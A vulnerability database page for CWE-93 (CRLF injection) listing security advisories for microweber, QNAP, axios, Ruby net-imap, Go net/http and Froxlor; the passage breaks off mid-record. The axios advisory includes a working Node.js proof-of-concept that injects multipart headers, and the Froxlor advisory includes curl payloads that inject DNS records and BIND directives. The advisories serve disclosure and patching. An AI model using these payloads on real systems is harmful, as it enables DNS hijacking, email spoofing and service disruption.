CWE-93
AllowedImproper Neutralization of CRLF Sequences ('CRLF Injection')
Abstraction: Base · Status: Draft
The product uses CRLF (carriage return line feeds) as a special element, e.g. to separate lines or records, but it does not neutralize or incorrectly neutralizes CRLF sequences from inputs.
323 vulnerabilities reference this CWE, most recent first.
GHSA-3WWJ-WH2W-G4XP
Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-02-23 15:04CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "microweber/microweber"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.2.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-0666"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2022-02-23T15:04:54Z",
"nvd_published_at": "2022-02-18T15:15:00Z",
"severity": "HIGH"
},
"details": "CRLF Injection leads to Stack Trace Exposure due to lack of filtering at https://demo.microweber.org/ in Packagist microweber/microweber prior to 1.2.11.",
"id": "GHSA-3wwj-wh2w-g4xp",
"modified": "2022-02-23T15:04:54Z",
"published": "2022-02-19T00:01:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0666"
},
{
"type": "WEB",
"url": "https://github.com/microweber/microweber/commit/f0e338f1b7dc5ec9d99231f4ed3fa6245a5eb128"
},
{
"type": "PACKAGE",
"url": "https://github.com/microweber/microweber"
},
{
"type": "WEB",
"url": "https://huntr.dev/bounties/7215afc7-9133-4749-8e8e-0569317dbd55"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "CRLF Injection in microweber"
}
GHSA-3XX8-JMFQ-QF34
Vulnerability from github – Published: 2025-03-07 18:31 – Updated: 2025-03-07 18:31An improper neutralization of CRLF sequences ('CRLF Injection') vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained user access to modify application data.
We have already fixed the vulnerability in the following versions: QTS 5.2.3.3006 build 20250108 and later QuTS hero h5.2.3.3006 build 20250108 and later
{
"affected": [],
"aliases": [
"CVE-2024-53693"
],
"database_specific": {
"cwe_ids": [
"CWE-93",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-07T17:15:19Z",
"severity": "HIGH"
},
"details": "An improper neutralization of CRLF sequences (\u0027CRLF Injection\u0027) vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow remote attackers who have gained user access to modify application data.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.2.3.3006 build 20250108 and later\nQuTS hero h5.2.3.3006 build 20250108 and later",
"id": "GHSA-3xx8-jmfq-qf34",
"modified": "2025-03-07T18:31:06Z",
"published": "2025-03-07T18:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-53693"
},
{
"type": "WEB",
"url": "https://www.qnap.com/en/security-advisory/qsa-24-54"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-445Q-VR5W-6Q77
Vulnerability from github – Published: 2026-05-05 00:40 – Updated: 2026-05-05 00:40Summary
The FormDataPart constructor in lib/helpers/formDataToStream.js interpolates value.type directly into the Content-Type header of each multipart part without sanitizing CRLF (\r\n) sequences. An attacker who controls the .type property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.
Details
In lib/helpers/formDataToStream.js at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:
if (isStringValue) {
value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
// value.type is NOT sanitized for CRLF sequences
headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}
Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for value.type.
Attack chain:
- Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing
\r\nsequences - The proxy appends the file to a FormData and posts it via
axios.post(url, formData) - axios calls
formDataToStream(), which passesvalue.typeunsanitized into the multipart body - The downstream server receives a multipart body containing injected per-part headers
- The server's multipart parser processes the injected headers as legitimate
This is reachable via the fully public axios API (axios.post(url, formData)) with no special configuration.
Additionally, value.name used in the Content-Disposition construction nearby likely has the same issue and should be audited.
PoC
Prerequisites: Node.js 18+, axios (tested on 1.14.0)
const http = require('http');
const axios = require('axios');
let receivedBody = '';
const server = http.createServer((req, res) => {
let body = '';
req.on('data', chunk => { body += chunk.toString(); });
req.on('end', () => {
receivedBody = body;
res.writeHead(200);
res.end('ok');
});
});
server.listen(0, '127.0.0.1', async () => {
const port = server.address().port;
class SpecFormData {
constructor() {
this._entries = [];
this[Symbol.toStringTag] = 'FormData';
}
append(name, value) { this._entries.push([name, value]); }
[Symbol.iterator]() { return this._entries[Symbol.iterator](); }
entries() { return this._entries[Symbol.iterator](); }
}
const fd = new SpecFormData();
fd.append('photo', {
type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
size: 16,
name: 'photo.jpg',
[Symbol.asyncIterator]: async function*() {
yield Buffer.from('MALICIOUS PAYLOAD');
}
});
await axios.post(`http://127.0.0.1:${port}/upload`, fd);
if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
console.log('Received body:\n' + receivedBody);
} else {
console.log('[NOT_VULNERABLE]');
}
server.close();
});
Steps to reproduce:
- npm install axios
- Save the above as poc_axios_crlf.js
- Run node poc_axios_crlf.js
- Observe the output shows [VULNERABLE] with injected headers visible in the multipart body
Expected behavior: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path. Actual behavior: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.
Impact
Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways. Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers. axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.
Suggested fix
In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.
const safeType = (value.type || 'application/octet-stream')
.replace(/[\r\n]/g, '');
headers += `Content-Type: ${safeType}${CRLF}`;
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "1.15.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42037"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-05T00:40:45Z",
"nvd_published_at": "2026-04-24T18:16:30Z",
"severity": "MODERATE"
},
"details": "### Summary\nThe `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\\r\\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.\n\n### Details\nIn `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:\n```\nif (isStringValue) {\n value = textEncoder.encode(String(value).replace(/\\r?\\n|\\r\\n?/g, CRLF));\n} else {\n // value.type is NOT sanitized for CRLF sequences\n headers += `Content-Type: ${value.type || \u0027application/octet-stream\u0027}${CRLF}`;\n}\n```\nNote that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.\n\n\n### Attack chain:\n\n1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\\r\\n` sequences\n2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`\n3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body\n4. The downstream server receives a multipart body containing injected per-part headers\n5. The server\u0027s multipart parser processes the injected headers as legitimate\n\nThis is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.\nAdditionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.\n\n### PoC\n**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)\n```\nconst http = require(\u0027http\u0027);\nconst axios = require(\u0027axios\u0027);\n\nlet receivedBody = \u0027\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n let body = \u0027\u0027;\n req.on(\u0027data\u0027, chunk =\u003e { body += chunk.toString(); });\n req.on(\u0027end\u0027, () =\u003e {\n receivedBody = body;\n res.writeHead(200);\n res.end(\u0027ok\u0027);\n });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n const port = server.address().port;\n\n class SpecFormData {\n constructor() {\n this._entries = [];\n this[Symbol.toStringTag] = \u0027FormData\u0027;\n }\n append(name, value) { this._entries.push([name, value]); }\n [Symbol.iterator]() { return this._entries[Symbol.iterator](); }\n entries() { return this._entries[Symbol.iterator](); }\n }\n\n const fd = new SpecFormData();\n\n fd.append(\u0027photo\u0027, {\n type: \u0027image/jpeg\\r\\nX-Injected-Header: PWNED-by-attacker\\r\\nX-Evil: arbitrary-value\u0027,\n size: 16,\n name: \u0027photo.jpg\u0027,\n [Symbol.asyncIterator]: async function*() {\n yield Buffer.from(\u0027MALICIOUS PAYLOAD\u0027);\n }\n });\n\n await axios.post(`http://127.0.0.1:${port}/upload`, fd);\n\n if (receivedBody.includes(\u0027X-Injected-Header: PWNED-by-attacker\u0027)) {\n console.log(\u0027[VULNERABLE] CRLF injection confirmed in multipart body\u0027);\n console.log(\u0027Received body:\\n\u0027 + receivedBody);\n } else {\n console.log(\u0027[NOT_VULNERABLE]\u0027);\n }\n\n server.close();\n});\n```\n\n### Steps to reproduce:\n\n1. npm install axios\n2. Save the above as poc_axios_crlf.js\n3. Run node poc_axios_crlf.js\n4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body\n\n**Expected behavior**: value.type should be sanitized to strip \\r\\n before interpolation, consistent with the string value path.\n**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.\n\n### Impact\nAny Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.\nConsequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.\naxios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.\n\n### Suggested fix\nIn formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \\r\\n) or use the same escapeName logic.\n```\nconst safeType = (value.type || \u0027application/octet-stream\u0027)\n .replace(/[\\r\\n]/g, \u0027\u0027);\nheaders += `Content-Type: ${safeType}${CRLF}`;\n```",
"id": "GHSA-445q-vr5w-6q77",
"modified": "2026-05-05T00:40:45Z",
"published": "2026-05-05T00:40:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42037"
},
{
"type": "PACKAGE",
"url": "https://github.com/axios/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream"
}
GHSA-46Q3-7GV7-QMGG
Vulnerability from github – Published: 2026-06-09 20:31 – Updated: 2026-07-06 22:54Summary
Two Net::IMAP commands, #id and #enable, do not validate their arguments. Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.
Please note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.
Details
When Net::IMAP#id is called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.
While Net::IMAP#enable does process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms). The #to_s value is sent verbatim.
Impact
This is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.
The documentation for #enable explicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior. Using arbitrary untrusted user input for #enable will always be inappropriate.
Although client ID field values will most commonly be static and hardcoded, dynamic input sources may be used. For example, client ID fields may be set by configuration or version numbers. Using untrusted user inputs for client ID fields is expected to be uncommon. But any untrusted inputs to client ID can trivially exploit this vulnerability.
Untrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system's attributes, e.g.: shared mail folders or the application's installed response handlers.
Mitigation
Update to a version of net-imap which validates #id and #enable arguments.
Untrusted inputs should never be used for #enable arguments.
If net-imap cannot be upgraded:
* do not use untrusted inputs for client ID field values
* or add validation that client ID field values must not contain any CR or LF bytes.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.6.4"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0.6.0"
},
{
"fixed": "0.6.4.1"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.5.14"
},
"package": {
"ecosystem": "RubyGems",
"name": "net-imap"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.5.15"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-47242"
],
"database_specific": {
"cwe_ids": [
"CWE-77",
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-09T20:31:52Z",
"nvd_published_at": "2026-06-22T21:16:24Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nTwo `Net::IMAP` commands, `#id` and `#enable`, do not validate their arguments. Arguments to either command could be used by an attacker to inject arbitrary IMAP commands.\n\nPlease note that passing untrusted inputs to these commands is usually inappropriate and expected to be uncommon.\n\n### Details\n\nWhen `Net::IMAP#id` is called with a hash argument, although the ID field value strings are correctly quoted (escaping quoted specials), they were not validated to prohibit CRLF sequences.\n\nWhile `Net::IMAP#enable` does process its arguments for aliases, it does not validate them as valid atoms (or as a list of valid atoms). The `#to_s` value is sent verbatim.\n\n### Impact\n\nThis is expected to impact very few users: use of untrusted user input for either command is expected to be very uncommon.\n\nThe documentation for `#enable` explicitly warns that using any arguments that are not in the explicitly supported list may result in undocumented behavior. Using arbitrary untrusted user input for `#enable` will always be inappropriate.\n\nAlthough client ID field values will most commonly be static and hardcoded, dynamic input sources may be used. For example, client ID fields may be set by configuration or version numbers. Using untrusted user inputs for client ID fields is expected to be uncommon. But any untrusted inputs to client ID can trivially exploit this vulnerability.\n\nUntrusted inputs to either command may include a CRLF sequence followed by a new IMAP command (like DELETE mailbox). Although this does not directly enable data exfiltration, it could be combined with other attack vectors or knowledge of the target system\u0027s attributes, e.g.: shared mail folders or the application\u0027s installed response handlers.\n\n### Mitigation\n\nUpdate to a version of `net-imap` which validates `#id` and `#enable` arguments.\n\nUntrusted inputs should _never_ be used for `#enable` arguments.\n\nIf `net-imap` cannot be upgraded:\n* do not use untrusted inputs for client ID field values\n* or add validation that client ID field values must not contain any CR or LF bytes.",
"id": "GHSA-46q3-7gv7-qmgg",
"modified": "2026-07-06T22:54:06Z",
"published": "2026-06-09T20:31:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/security/advisories/GHSA-46q3-7gv7-qmgg"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-47242"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby/net-imap"
},
{
"type": "WEB",
"url": "https://github.com/ruby/net-imap/releases/tag/v0.6.4.1"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/net-imap/CVE-2026-47242.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-47242"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Net::IMAP: Command Injection via ID command argument"
}
GHSA-46V6-2C7G-7HFG
Vulnerability from github – Published: 2022-05-13 01:11 – Updated: 2022-05-13 01:11An issue was discovered in net/http in Go 1.11.5. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the second argument to http.NewRequest with \r\n followed by an HTTP header or a Redis command.
{
"affected": [],
"aliases": [
"CVE-2019-9741"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-03-13T08:29:00Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in net/http in Go 1.11.5. CRLF injection is possible if the attacker controls a url parameter, as demonstrated by the second argument to http.NewRequest with \\r\\n followed by an HTTP header or a Redis command.",
"id": "GHSA-46v6-2c7g-7hfg",
"modified": "2022-05-13T01:11:23Z",
"published": "2022-05-13T01:11:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-9741"
},
{
"type": "WEB",
"url": "https://github.com/golang/go/issues/30794"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1300"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2019:1519"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/04/msg00007.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00014.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2021/03/msg00015.html"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/TOOVCEPQM7TZA6VEZEEB7QZABXNHQEHH"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/107432"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-47HF-23PW-3M8C
Vulnerability from github – Published: 2026-04-16 00:47 – Updated: 2026-04-24 20:54Summary
DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::__toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file.
Details
Missing type whitelist — DomainZones.php:93:
The type parameter is accepted directly from user input with no validation against allowed values:
// lib/Froxlor/Api/Commands/DomainZones.php:93
$type = $this->getParam('type', true, 'A');
The if/elseif chain at lines 170-317 validates content only for 13 known types: A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT. Any type not in this list falls through with no content validation at all. There is a TODO comment at line 148 acknowledging missing validation:
// TODO regex validate content for invalid characters
Missing newline sanitization — DomainZones.php:154:
The content field only receives trim(), which strips leading/trailing whitespace but preserves embedded newline characters:
// lib/Froxlor/Api/Commands/DomainZones.php:154
$content = trim($content);
Unsafe zone file output — DnsEntry.php:83:
DnsEntry::__toString() concatenates content directly into zone file format without escaping:
// lib/Froxlor/Dns/DnsEntry.php:83
return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t"
. (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "")
. $_content . PHP_EOL;
Newlines in $_content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.
Zone file write — Bind.php:121:
// lib/Froxlor/Cron/Dns/Bind.php:121
fwrite($zonefile_handler, $zoneContent . $subzones);
The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dns_add.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.
Execution flow:
1. Customer sends API request with type=NAPTR and content containing \n-separated lines
2. getParam() returns raw values without sanitization
3. Type NAPTR matches none of the if/elseif conditions — no content validation runs
4. trim($content) preserves embedded newlines
5. Content is inserted into domain_dns table via prepared statement
6. DNS cron creates DnsEntry objects from DB records (Dns.php:297)
7. DnsEntry::__toString() outputs content with embedded newlines into zone format
8. Bind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records
PoC
Step 1: Inject a DNS record with embedded newlines via API
curl -s -X POST 'https://froxlor.example.com/api.php' \
-u 'APIKEY:APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"id": 1,
"type": "NAPTR",
"content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ."
}
}'
Expected: HTTP 200 with success response. The record is stored in the database.
Step 2: Wait for DNS cron to rebuild zones (or trigger manually)
# As admin, trigger the DNS rebuild cron
php /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns
Step 3: Inspect the generated zone file
cat /etc/bind/domains/example.com.zone
Expected zone file content includes injected lines:
@ 18000 IN NAPTR 100 10 "" "" "" .
@ 300 IN A 1.2.3.4
@ 300 IN NAPTR 100 10 "" "" "" .
The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.
Step 4: Verify BIND directive injection
curl -s -X POST 'https://froxlor.example.com/api.php' \
-u 'APIKEY:APISECRET' \
-H 'Content-Type: application/json' \
-d '{
"command": "DomainZones.add",
"params": {
"id": 1,
"type": "NAPTR",
"content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com."
}
}'
This injects a $GENERATE directive that creates 255 PTR records.
Impact
An authenticated customer with DNS editing enabled can:
- Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic.
- Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain.
- Inject BIND server directives (
$INCLUDE,$ORIGIN,$GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records. - Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.
While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.
Recommended Fix
1. Add a type whitelist in DomainZones::add() (primary fix):
// lib/Froxlor/Api/Commands/DomainZones.php — after line 93
$type = $this->getParam('type', true, 'A');
$allowed_types = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT'];
if (!in_array($type, $allowed_types)) {
throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406);
}
2. Strip newline characters from content (defense-in-depth):
// lib/Froxlor/Api/Commands/DomainZones.php — replace line 154
$content = trim(str_replace(["\r", "\n"], '', $content));
3. Sanitize in DnsEntry::__toString() as a belt-and-suspenders measure:
// lib/Froxlor/Dns/DnsEntry.php — at the start of __toString()
$_content = str_replace(["\r", "\n"], '', $this->content);
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "froxlor/froxlor"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.3.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41230"
],
"database_specific": {
"cwe_ids": [
"CWE-93"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-16T00:47:26Z",
"nvd_published_at": "2026-04-23T04:16:19Z",
"severity": "HIGH"
},
"details": "## Summary\n\n`DomainZones::add()` accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the `content` field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., `NAPTR`, `PTR`, `HINFO`), content validation is entirely bypassed. Embedded newline characters in the content survive `trim()` processing, are stored in the database, and are written directly into BIND zone files via `DnsEntry::__toString()`. An authenticated customer can inject arbitrary DNS records and BIND directives (`$INCLUDE`, `$ORIGIN`, `$GENERATE`) into their domain\u0027s zone file.\n\n## Details\n\n**Missing type whitelist \u2014 `DomainZones.php:93`:**\n\nThe `type` parameter is accepted directly from user input with no validation against allowed values:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:93\n$type = $this-\u003egetParam(\u0027type\u0027, true, \u0027A\u0027);\n```\n\nThe if/elseif chain at lines 170-317 validates content only for 13 known types: `A`, `AAAA`, `CAA`, `CNAME`, `DNAME`, `LOC`, `MX`, `NS`, `RP`, `SRV`, `SSHFP`, `TLSA`, `TXT`. Any type not in this list falls through with no content validation at all. There is a `TODO` comment at line 148 acknowledging missing validation:\n\n```php\n// TODO regex validate content for invalid characters\n```\n\n**Missing newline sanitization \u2014 `DomainZones.php:154`:**\n\nThe content field only receives `trim()`, which strips leading/trailing whitespace but preserves embedded newline characters:\n\n```php\n// lib/Froxlor/Api/Commands/DomainZones.php:154\n$content = trim($content);\n```\n\n**Unsafe zone file output \u2014 `DnsEntry.php:83`:**\n\n`DnsEntry::__toString()` concatenates content directly into zone file format without escaping:\n\n```php\n// lib/Froxlor/Dns/DnsEntry.php:83\nreturn $this-\u003erecord . \"\\t\" . $this-\u003ettl . \"\\t\" . $this-\u003eclass . \"\\t\" . $this-\u003etype . \"\\t\"\n . (($this-\u003epriority \u003e= 0 \u0026\u0026 ($this-\u003etype == \u0027MX\u0027 || $this-\u003etype == \u0027SRV\u0027)) ? $this-\u003epriority . \"\\t\" : \"\")\n . $_content . PHP_EOL;\n```\n\nNewlines in `$_content` produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.\n\n**Zone file write \u2014 `Bind.php:121`:**\n\n```php\n// lib/Froxlor/Cron/Dns/Bind.php:121\nfwrite($zonefile_handler, $zoneContent . $subzones);\n```\n\nThe `AntiXSS` filter applied at the API layer (`Api.php:91`) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (`formfield.dns_add.php:42-56`), but this is client-side only \u2014 the server-side `DomainZones::add()` has no corresponding whitelist.\n\n**Execution flow:**\n1. Customer sends API request with `type=NAPTR` and `content` containing `\\n`-separated lines\n2. `getParam()` returns raw values without sanitization\n3. Type `NAPTR` matches none of the if/elseif conditions \u2014 no content validation runs\n4. `trim($content)` preserves embedded newlines\n5. Content is inserted into `domain_dns` table via prepared statement\n6. DNS cron creates `DnsEntry` objects from DB records (`Dns.php:297`)\n7. `DnsEntry::__toString()` outputs content with embedded newlines into zone format\n8. `Bind.php:121` writes zone to disk; BIND loads the file and processes injected lines as records\n\n## PoC\n\n**Step 1: Inject a DNS record with embedded newlines via API**\n\n```bash\ncurl -s -X POST \u0027https://froxlor.example.com/api.php\u0027 \\\n -u \u0027APIKEY:APISECRET\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"command\": \"DomainZones.add\",\n \"params\": {\n \"id\": 1,\n \"type\": \"NAPTR\",\n \"content\": \"100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\\n@ 300 IN A 1.2.3.4\\n@ 300 IN NAPTR 100 10 \\\"\\\" \\\"\\\" \\\"\\\" .\"\n }\n }\u0027\n```\n\nExpected: HTTP 200 with success response. The record is stored in the database.\n\n**Step 2: Wait for DNS cron to rebuild zones (or trigger manually)**\n\n```bash\n# As admin, trigger the DNS rebuild cron\nphp /var/www/froxlor/scripts/froxlor_master_cronjob.php --force --dns\n```\n\n**Step 3: Inspect the generated zone file**\n\n```bash\ncat /etc/bind/domains/example.com.zone\n```\n\nExpected zone file content includes injected lines:\n\n```\n@ 18000 IN NAPTR 100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" .\n```\n\nThe line `@ 300 IN A 1.2.3.4` is parsed by BIND as an independent A record pointing the domain to the attacker\u0027s IP.\n\n**Step 4: Verify BIND directive injection**\n\n```bash\ncurl -s -X POST \u0027https://froxlor.example.com/api.php\u0027 \\\n -u \u0027APIKEY:APISECRET\u0027 \\\n -H \u0027Content-Type: application/json\u0027 \\\n -d \u0027{\n \"command\": \"DomainZones.add\",\n \"params\": {\n \"id\": 1,\n \"type\": \"NAPTR\",\n \"content\": \"100 10 